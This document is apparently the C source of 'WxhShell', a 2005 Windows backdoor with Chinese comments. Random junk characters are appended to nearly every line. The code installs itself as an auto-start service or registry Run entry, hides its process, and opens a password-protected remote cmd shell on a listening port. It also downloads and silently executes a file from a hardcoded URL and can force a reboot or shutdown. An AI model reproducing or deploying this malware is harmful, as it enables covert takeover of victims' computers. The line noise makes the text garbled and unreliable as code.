    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]r 6S|;:  
    if(Boot(SHUTDOWN)) R`%C]uG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )L^GGy8w  
    else { A}K2"lQ#>,  
    closesocket(wsh); 9WE_9$<V  
    ExitThread(0); ~cHpA;x9<^  
    } !2]eVO  
    break; df@r2 /Y  
    } 6[cC1a3r:  
  // 获取shell vd0;33$L  
  case 's': { ,LD[R1TU8  
    CmdShell(wsh); 3 *0/<1f1!  
    closesocket(wsh); c& &^D o  
    ExitThread(0); fcDiYJC*  
    break; j A/xe  
  } TCb 7-s  
  // 退出 _wvSLu<q  
  case 'x': { w0`aW6t#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _T[7N|'O  
    CloseIt(wsh); a g=,oYn  
    break; G.ag$KF  
    } 0[ (Z48  
  // 离开 (7v]bqfw  
  case 'q': { AHa%?wb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cu)ssT  
    closesocket(wsh); os<YfMM<:/  
    WSACleanup(); /E(319u_  
    exit(1); #2&DDy)B f  
    break; TgFj- "L\  
        } heLWVI[so  
  } H);O.m  
  } UJ hmhI  
/iz{NulOz*  
  // 提示信息 ! };OL Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zq,[se'nh"  
} 1=R6||8ws  
  } 16;r+.FB'  
=IbDGw(  
  return; +>v3&[lGv  
} !|\$|m<n  
rGNYu\\  
// shell模块句柄 % ~!A,  
int CmdShell(SOCKET sock) 2h_XfY'3pX  
{ g>L4N.ZH_v  
STARTUPINFO si; Z>9uVBE02  
ZeroMemory(&si,sizeof(si)); huPAWlxT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aicvu(%EE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gL)l)}#  
PROCESS_INFORMATION ProcessInfo; MM+x}g.?  
char cmdline[]="cmd"; ](^$5Am  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H%`$@U>  
  return 0; 1R}rL#h;=  
} 4Z'/dI`  
!c 3c%=W  
// 自身启动模式 ^`BiA'gPPC  
int StartFromService(void) 4Lg!54P8  
{ eootH K  
typedef struct ]$4DhB  
{ MKl`9 Y3Ge  
  DWORD ExitStatus; CtEpS<*c  
  DWORD PebBaseAddress; TnuNoMD.  
  DWORD AffinityMask; !+<OED=qe  
  DWORD BasePriority; Z}b25)  
  ULONG UniqueProcessId; G)(vd0X1  
  ULONG InheritedFromUniqueProcessId; fu=GgD*  
}   PROCESS_BASIC_INFORMATION; t>~a/K"  
6\9 Zc-%  
PROCNTQSIP NtQueryInformationProcess; v--Qbu  
WNO|ziy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n8FmIoZ&`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <l#|I'hP  
){D6E9  
  HANDLE             hProcess; ~g#$'dS  
  PROCESS_BASIC_INFORMATION pbi; l0 Eh?  
FZk=-.Hk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C>}@"eK  
  if(NULL == hInst ) return 0; @k|V4  
%z9lCTmy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5{PT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  Zk={3Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [|5gw3 y  
?Q?=I,2bP  
  if (!NtQueryInformationProcess) return 0; 6I<^wS9j_  
3 |se]~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |H .  
  if(!hProcess) return 0; kWSei3  
o0Z~9iF&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4\#b@1]}  
EC:u;2f!  
  CloseHandle(hProcess); )R+26wZ|n*  
'5f6 M^}|2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7o99@K,  
if(hProcess==NULL) return 0; :l;SG=scx  
d~ |/LR5  
HMODULE hMod; S;I>W&U  
char procName[255]; 2HX#:y{\l  
unsigned long cbNeeded; i".nnAI:  
T4c]VWtD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +46m~" ]  
F%-KY$%  
  CloseHandle(hProcess); iXgy/>qgT  
e`7dRnx&0  
if(strstr(procName,"services")) return 1; // 以服务启动 ?=},%^  
ii)DOq#2  
  return 0; // 注册表启动 [( O*W  
} ~43T$^<w;  
jYxmU8  
// 主模块 ]di^H>,xU  
int StartWxhshell(LPSTR lpCmdLine) b}-/~l-:  
{ =[ +)T[  
  SOCKET wsl; <@](uWu  
BOOL val=TRUE; OL2 b  
  int port=0; yGs:3KI  
  struct sockaddr_in door; ir?Y>  
@p\te7(P%  
  if(wscfg.ws_autoins) Install(); Py! F  
[ U`})  
port=atoi(lpCmdLine); Kqn{q4L  
37U2Tb!y '  
if(port<=0) port=wscfg.ws_port; vNn$dc  
!xRboPg  
  WSADATA data; z]V%&f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -LnNA`-  
SO#R5Mu2N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3;F+.{Icc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ? 3t]9z  
  door.sin_family = AF_INET; 5;:964Et  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G,-x+e"  
  door.sin_port = htons(port); 66Tx>c"H  
cg| C S?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qN@-H6D1=  
closesocket(wsl); _yu_Ev}R  
return 1; Mv1V Vk  
} \)/dFo\l  
mW 4{*  
  if(listen(wsl,2) == INVALID_SOCKET) { Cu,#w3JR  
closesocket(wsl); #^zUaPV 7r  
return 1; 0Vwl\,7z9  
} hAvX{]  
  Wxhshell(wsl); 9`| ^cL*6  
  WSACleanup(); g+zfa.wQ  
Afao Fn+  
return 0; Z{p62|+Ck@  
{{+woL'C  
} ;p] f5R^  
:L&d>Ii|'  
// 以NT服务方式启动 \*r]v;NcP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [ }1+=Ub  
{ yrCY-'%  
DWORD   status = 0; Dxx`<=&g  
  DWORD   specificError = 0xfffffff; cpJ(77e  
v0 uA]6:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T!3_Q/~^r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =(\xe| Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ](tv`1A,Wd  
  serviceStatus.dwWin32ExitCode     = 0; ecqL;_{o  
  serviceStatus.dwServiceSpecificExitCode = 0; 1^R:[L4R`  
  serviceStatus.dwCheckPoint       = 0; OLh QS_D  
  serviceStatus.dwWaitHint       = 0; w.0:#4  
Z^l!#"\4m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 863PVce",}  
  if (hServiceStatusHandle==0) return; =zX A0%  
A{(<#yRfg  
status = GetLastError(); meM61ue_2  
  if (status!=NO_ERROR) KU5|~1t 4  
{ mvV5X al  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |.;LI= CT  
    serviceStatus.dwCheckPoint       = 0; :,*{,^2q:  
    serviceStatus.dwWaitHint       = 0; +^tw@b  
    serviceStatus.dwWin32ExitCode     = status; !^*-]p/z  
    serviceStatus.dwServiceSpecificExitCode = specificError; qFwJ%(IQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f83Tl~  
    return; 15L0B5(3  
  } Q4!6|%n8v  
Kulh:d:w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^cz;UQX~}  
  serviceStatus.dwCheckPoint       = 0; _6/q.  
  serviceStatus.dwWaitHint       = 0; mO~A}/je  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %yJ $R2%*y  
} gZ&' J\  
0*umf .R  
// 处理NT服务事件,比如:启动、停止 [7|j:!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }ki}J>j|f  
{ A\S1{JrR  
switch(fdwControl) MRZ/%OZ.  
{ mok%TK  
case SERVICE_CONTROL_STOP: U%)m [zAw  
  serviceStatus.dwWin32ExitCode = 0; * U#@M3g.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x O gUX6n  
  serviceStatus.dwCheckPoint   = 0; @c{rqa v  
  serviceStatus.dwWaitHint     = 0; V/@?KC0B5  
  { ,U?W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6~b]RZe7  
  } cV+ x.)a.  
  return; Xj+oV  
case SERVICE_CONTROL_PAUSE: X1GpLy)p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f:6%DT~a&C  
  break; [Dou%\  
case SERVICE_CONTROL_CONTINUE: )VoQ/ch<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <6L=% \X{*  
  break; wn-{V kpm  
case SERVICE_CONTROL_INTERROGATE: <xpHlLc  
  break; xO nW~Z  
}; g-cC&)0Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y\pRk6,  
} Z/hk)GI  
v@KP~kp  
// 标准应用程序主函数 g3"eEg5NY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3Q-[)Z )  
{ :lGH31GG  
?5yj</W  
// 获取操作系统版本 ""2g{!~r  
OsIsNt=GetOsVer(); MaX:o GF,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sKLH.@  
vs|_l!n3  
  // 从命令行安装 5|^{t00T~  
  if(strpbrk(lpCmdLine,"iI")) Install(); yk<$XNc  
[q5N 4&q\  
  // 下载执行文件 @uaf&my,P  
if(wscfg.ws_downexe) { |>2IgTh1a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) = e>#oPH  
  WinExec(wscfg.ws_filenam,SW_HIDE); XA%a7Xtni  
} iH#b"h{w  
14,Pf`5Sz  
if(!OsIsNt) { 'z}Hg *  
// 如果时win9x,隐藏进程并且设置为注册表启动 }CyS_Tc  
HideProc(); 6-w'?G37  
StartWxhshell(lpCmdLine); N1Pm4joH%  
} 0-9.u`)#yu  
else Z;XiA<|  
  if(StartFromService()) AvNU\$B4aG  
  // 以服务方式启动 |y*-)t  
  StartServiceCtrlDispatcher(DispatchTable); *i>?YT  
else k5=VH5{S  
  // 普通方式启动 4\6-sL?rW  
  StartWxhshell(lpCmdLine); n!*uv~%$  
Q4&|^RLLG  
return 0; d'yA"b]  
} $)fybn Y  
EC6Q<&]Iw  
Wveba)"$  
ydyGPZ t  
=========================================== L`!M3c@u  
i47xF7y\  
O!c b-  
RXj6L~vs5_  
tKik)ei  
>(t_  
" N%,!&\L  
)E2^G)J$W  
#include <stdio.h> (Wm4JmX%  
#include <string.h> guC7!P^  
#include <windows.h> Jrkj foN  
#include <winsock2.h> HcrI3v|6  
#include <winsvc.h> b(Ev:  
#include <urlmon.h> !QB(M@1  
jb~/>I^1  
#pragma comment (lib, "Ws2_32.lib") ]757oAXl  
#pragma comment (lib, "urlmon.lib") ,;2x.We  
4ZZ/R?AiK  
#define MAX_USER   100 // 最大客户端连接数 +6xEz67A<  
#define BUF_SOCK   200 // sock buffer ~x>?1K  
#define KEY_BUFF   255 // 输入 buffer B`/c Kfg  
)cMW,  
#define REBOOT     0   // 重启 K`9ph"(Z  
#define SHUTDOWN   1   // 关机 _l`s}yC  
"o*zZ;>^  
#define DEF_PORT   5000 // 监听端口 u,d@ oF(=  
zlh}8Es  
#define REG_LEN     16   // 注册表键长度 `z=I}6){  
#define SVC_LEN     80   // NT服务名长度 \?bp^BrI  
"))G|+tz  
// 从dll定义API WrR97]7t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }<EA)se"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u0md ^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2EeWcTBU}.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +M+ht  
*j,5TO-j  
// wxhshell配置信息 aqjS5!qh  
struct WSCFG { y: 0j$%^  
  int ws_port;         // 监听端口 Z7eD+4gD  
  char ws_passstr[REG_LEN]; // 口令 x+}6qfc$9k  
  int ws_autoins;       // 安装标记, 1=yes 0=no D3LW 49  
  char ws_regname[REG_LEN]; // 注册表键名 <uugT9By  
  char ws_svcname[REG_LEN]; // 服务名 JNzNK.E!m-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }ug|&25D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 acWm+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y[*Bw)F\N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Wmp,,H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5Pis0fa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z6}B}5@y  
{*8'bNJ  
}; V  `KXfY  
4#?Ox vH  
// default Wxhshell configuration E%M~:JuKd?  
struct WSCFG wscfg={DEF_PORT, yfS`g-j{~  
    "xuhuanlingzhe", ;4E0%@R  
    1, S6 F28 d[j  
    "Wxhshell", mbBd3y  
    "Wxhshell", Aw )='&;^z  
            "WxhShell Service", 8X`Gm!)  
    "Wrsky Windows CmdShell Service", bQlShVJL  
    "Please Input Your Password: ", Mg.xGST  
  1, %,rUN+vW  
  "http://www.wrsky.com/wxhshell.exe", NTk"W!<Cl2  
  "Wxhshell.exe" dZ&/Iz  
    }; &eQF[8 ,  
uh UC m  
// 消息定义模块 d18%zY>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k,S'i#4q4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7WG"_A~V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :qi"I;=6  
char *msg_ws_ext="\n\rExit."; :] Jwcp  
char *msg_ws_end="\n\rQuit."; 0n S69tH  
char *msg_ws_boot="\n\rReboot..."; &ZgB b  
char *msg_ws_poff="\n\rShutdown..."; N3Ub|$}q  
char *msg_ws_down="\n\rSave to "; v V:eU-a  
mT;1KE{J{  
char *msg_ws_err="\n\rErr!";  KTd,^h  
char *msg_ws_ok="\n\rOK!"; MoN;t;  
D}l^ow  
char ExeFile[MAX_PATH]; ;2 oR?COW  
int nUser = 0; Wa%Zt*7  
HANDLE handles[MAX_USER]; ^1M:wX r  
int OsIsNt; D^To:N 7U  
\3(d$_:b  
SERVICE_STATUS       serviceStatus; 5An| #^]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~HD:Y7  
Sc;WraEn2  
// 函数声明 U@dztX@u  
int Install(void); }wrZP}zM>  
int Uninstall(void); q bb:)>  
int DownloadFile(char *sURL, SOCKET wsh); ZKyK#\v<  
int Boot(int flag); QIVpO /@  
void HideProc(void); 't \:@-tQ  
int GetOsVer(void); TOV531   
int Wxhshell(SOCKET wsl); MNOT<(  
void TalkWithClient(void *cs); Me[T=Tt`@w  
int CmdShell(SOCKET sock); %B` MO-  
int StartFromService(void); 7f_4qb8  
int StartWxhshell(LPSTR lpCmdLine); DoAK]zyJA  
wxEFM)zr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |i5A F\w  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  Ok[y3S  
P9v N5|"M  
// 数据结构和表定义 *xXa4HB  
SERVICE_TABLE_ENTRY DispatchTable[] = Qfr%BQV  
{ Mh>H5l.1i  
{wscfg.ws_svcname, NTServiceMain}, .P.TqT@)r  
{NULL, NULL} 9'C kV[  
}; EAp6IhW{  
f sAgXv  
// 自我安装 Ks:~Z9r}  
int Install(void) 8;/`uB:zV  
{ X64OX9:YF  
  char svExeFile[MAX_PATH]; X*VHi  
  HKEY key; \ Xow#@[  
  strcpy(svExeFile,ExeFile); U8kH'OD  
/Za'L#=R  
// 如果是win9x系统,修改注册表设为自启动 B) J.(k`p  
if(!OsIsNt) { cZT;VmC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O= PFr"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iJuh1+6:c9  
  RegCloseKey(key); ,A9pj k'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3Vjuk7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _XIls*6AK  
  RegCloseKey(key); R4GmUCKB=  
  return 0; QPjmIO  
    } Oi+(`  
  } ik02Q,J  
} a(&!{Y1bt  
else { Z<6xQTx  
mz@`*^7?  
// 如果是NT以上系统,安装为系统服务 4$J:A~2H]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YUd*\_  
if (schSCManager!=0) /*s:ehj  
{ L+2!Sc,>  
  SC_HANDLE schService = CreateService :L<$O7  
  ( J&%vBg^  
  schSCManager, =\.Oc+p4  
  wscfg.ws_svcname, AEaT  
  wscfg.ws_svcdisp, ;mH1J'.(a  
  SERVICE_ALL_ACCESS, 50% |9D0?Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cn#JO^8  
  SERVICE_AUTO_START, bG=CIa&@  
  SERVICE_ERROR_NORMAL, #=/eu=  
  svExeFile, Qx CZ<|  
  NULL, %\#s@8=2u  
  NULL, c\~H_ ~F  
  NULL, G%~=hEK0  
  NULL, ;Vc@]6Ck  
  NULL Icf 4OAx  
  ); 6#VG,'e3  
  if (schService!=0) GgkljF@{}  
  { yo*c& >  
  CloseServiceHandle(schService); F_;oZ   
  CloseServiceHandle(schSCManager); NfcY30}:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  b<v\  
  strcat(svExeFile,wscfg.ws_svcname); J7X-=E D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3;=nQ{0b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?6.vd]oNO  
  RegCloseKey(key); 5 zG6V2  
  return 0; s>z$_  
    } '8>h4s4  
  } YAnt}]u!"  
  CloseServiceHandle(schSCManager); _.0c~\VA  
} l=*^FK]L`  
} WL-+;h@VQ  
G?12?2  
return 1; ,}F2l|x_  
} ):?ype>  
c.jq?Q k  
// 自我卸载 h-hU=I8  
int Uninstall(void) lM Gz"cym  
{ eU_|.2  
  HKEY key; KTxdZt  
, M$*c  
if(!OsIsNt) { ,pir,Eozg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j~c7nWfX  
  RegDeleteValue(key,wscfg.ws_regname); w=\Lw+X  
  RegCloseKey(key); Z:aDKAboU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dr6"~5~9w  
  RegDeleteValue(key,wscfg.ws_regname); \@nmM&7C!4  
  RegCloseKey(key); ncJ}h\:Sk  
  return 0; DrbjqQL+.  
  } _v4TyJ  
} W ]5kM~Q@  
} uxk&5RY  
else { l;U9dO}/[  
nk9hQRP? 8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )/2* <jr  
if (schSCManager!=0) AC,$(E  
{ T3Kq1 Rh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >4GhI65  
  if (schService!=0) ^ef:cS$;  
  { 0*V RFd4  
  if(DeleteService(schService)!=0) { is{I5IR\/  
  CloseServiceHandle(schService); Tz58@VYV  
  CloseServiceHandle(schSCManager); : QSlctW  
  return 0; hbR;zV|US  
  } k<=.1cFh  
  CloseServiceHandle(schService); K]zBPfx  
  } NAV}q<@v  
  CloseServiceHandle(schSCManager); J/w?Fa<  
} ih2H~c>O  
} eB/3MUz1  
h0 Acpd2  
return 1; O(,Ezy x  
} ,!kqEIp%  
aMuc]Wy#  
// 从指定url下载文件 QpS0iUG  
int DownloadFile(char *sURL, SOCKET wsh) hnL"f[p@gC  
{ ;z#D%#Ztq  
  HRESULT hr; vuuID24:  
char seps[]= "/"; Po&gr@e.V  
char *token; $rs7D}VNc  
char *file; ?)Z~H,Q(z  
char myURL[MAX_PATH]; "vH@b_>9|  
char myFILE[MAX_PATH]; + }(  
?YXl.yj  
strcpy(myURL,sURL); ?ZdHuuDN~  
  token=strtok(myURL,seps); E8jdQS|i  
  while(token!=NULL) #g4X`AHB  
  { ?Z( 6..&  
    file=token; T'\ lntN  
  token=strtok(NULL,seps); vb9G_Pfz  
  } N-3w)23*:  
7R<<}dA]  
GetCurrentDirectory(MAX_PATH,myFILE); hc>hNC:a  
strcat(myFILE, "\\"); V.'EP  
strcat(myFILE, file); p4<&NMG  
  send(wsh,myFILE,strlen(myFILE),0); yXc/Nl%  
send(wsh,"...",3,0); M^mS#<!y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M<"&$qZ$R  
  if(hr==S_OK) )Y Qtrc\91  
return 0; M ,e_=aq  
else t=iy40_T  
return 1; lj@c"Yrk  
r@"Vbq%  
} q3T'rw%Eh  
H ~J#!3  
// 系统电源模块 h<6@&yzp  
int Boot(int flag) v)d\ 5#7  
{ (Pin9^`ALc  
  HANDLE hToken; w80g) 4V+  
  TOKEN_PRIVILEGES tkp; !(w\%$|  
7>wSbAR<  
  if(OsIsNt) { +x-n,!(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j?g{*M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i~ n>dc YW  
    tkp.PrivilegeCount = 1; Z99%uI3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #`<|W5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OY51~#BF  
if(flag==REBOOT) { M!,$i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O>Xyl4U  
  return 0; n_v|fxF1  
} B+*F?k[  
else { EbY%:jR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;5q=/  
  return 0; 9%$4Ux*q  
} PE]jYyyHtU  
  } {E@Vh  
  else { 0{@E=}}h  
if(flag==REBOOT) { ^$6EO) <  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <lB^>Hfu  
  return 0; AHIk7[w  
} ZxwI< T:&  
else { e#0R9+"Ba  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /V2Ih  
  return 0; 'eLO#1Ipf  
} 5WP)na6"  
} ^^{K[sLB  
#:v|/2   
return 1; va:5pvt2&  
} D+9xI  
}{n[_:[7  
// win9x进程隐藏模块 dArg'Dc4  
void HideProc(void) xeIt7b?#  
{ !eMz;GZ  
"S,,BjL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =d!3_IZ  
  if ( hKernel != NULL ) dli?/U@hO  
  { 4@u*#Bp`|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7ykpDl^@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yS0!#AG  
    FreeLibrary(hKernel); U,gg@!1GJo  
  } Q;*TnVbJ  
7YV}F9h4  
return; D. fP Hq  
} [o<Rgq 4  
(oBvpFP33  
// 获取操作系统版本 Q_$aiE  
int GetOsVer(void) %?Yf!)owh  
{ h8&VaJ  
  OSVERSIONINFO winfo; c$Z3P%aP'V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Sb+^~M  
  GetVersionEx(&winfo); *P7 H=Yf&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3+%a  
  return 1; y'(( tBWa!  
  else <wfPbzs-V  
  return 0; n`8BE9h^  
} oCg|* c|+  
xAbx.\  
// 客户端句柄模块 o%;R4 s,  
int Wxhshell(SOCKET wsl) J~Uq'1?  
{ hfE5[  
  SOCKET wsh; <'N"GLJ  
  struct sockaddr_in client; Rsd~t_a1  
  DWORD myID; O?L6Ues  
Tsg;i;  
  while(nUser<MAX_USER) U2<8U  
{ 0`UI^Y~Q  
  int nSize=sizeof(client); 6l]jm j)/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iga.B  
  if(wsh==INVALID_SOCKET) return 1; *lyy|3z  
cZC%W!pT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~+|Vzm|S}  
if(handles[nUser]==0) |`eHUtjH  
  closesocket(wsh); dyWj+N5(  
else CGw,RNV  
  nUser++; *Tc lc u  
  } qJ(XW N H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RGEgYOO  
+a3H1 tt~  
  return 0; 9`y@2/!Y  
} v}\4/u  
8]h~jNku  
// 关闭 socket ['m7Wry  
void CloseIt(SOCKET wsh) sU Er?TZ  
{ ]QC9y:3  
closesocket(wsh); Op()`x m  
nUser--; hZ_@U?^  
ExitThread(0); !E7JDk''@  
} w1Txz4JqB  
ci 4K Nv;  
// 客户端请求句柄 )DB\du   
void TalkWithClient(void *cs) e dTFk$0  
{ %(&$CmS@  
=xw+cs1,x  
  SOCKET wsh=(SOCKET)cs; qP{Fwn  
  char pwd[SVC_LEN]; )E|{.K  
  char cmd[KEY_BUFF]; e&nE  
char chr[1]; j+9;Rvt2  
int i,j; @U+#@6  
mUj_V#v  
  while (nUser < MAX_USER) { "7q!u,u  
tm&,u*6$W?  
if(wscfg.ws_passstr) { `L LS|S]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 12VIP-ABK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >{S ~(KxK  
  //ZeroMemory(pwd,KEY_BUFF);  8 X Qo  
      i=0; NX4G;+6  
  while(i<SVC_LEN) { !\VzX  
&V| kv"Wwj  
  // 设置超时 FI,K 0sO/|  
  fd_set FdRead; 9(3]t}J5 d  
  struct timeval TimeOut; [QFAkEJ--o  
  FD_ZERO(&FdRead); +T\<oj%}2  
  FD_SET(wsh,&FdRead); QJ&]4*>a  
  TimeOut.tv_sec=8; 7Kf  
  TimeOut.tv_usec=0; Z`_x|cU?J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -Uan.#~S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ebn3r:IU-  
2?Y8hm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NH;e|8  
  pwd=chr[0]; 15@2h  
  if(chr[0]==0xd || chr[0]==0xa) { }uNj#Uf  
  pwd=0; 3[j,d]\|  
  break; ClY`2  
  } _TLspqi  
  i++; _aYhW{wW  
    } 6cd!;Ca  
-oUGmV_  
  // 如果是非法用户,关闭 socket {yv_Ni*6!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F?$Vx)HI  
} XHxJzYMc  
Qo :vAv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]0&X[?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gg.]\#3g  
<THw l/a  
while(1) { X{Fr  
Ell14Iki  
  ZeroMemory(cmd,KEY_BUFF); }W@refS  
BYu(a  
      // 自动支持客户端 telnet标准   "b402"&  
  j=0; tmOy"mq67  
  while(j<KEY_BUFF) { >;XtJJS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9i U/[d  
  cmd[j]=chr[0]; 1$1>cuu  
  if(chr[0]==0xa || chr[0]==0xd) { i6P}MtC1  
  cmd[j]=0; BdMd\1eMw  
  break;  6/#+#T  
  } sVr|kvn2  
  j++; @Co6$<  
    } OwEV$Q  
epKr6 xq  
  // 下载文件 !@])Ut@tN  
  if(strstr(cmd,"http://")) { z6}p4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dH.Fb/7f  
  if(DownloadFile(cmd,wsh)) bl&9O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'zav%}b]L  
  else p2Gd6v.t  
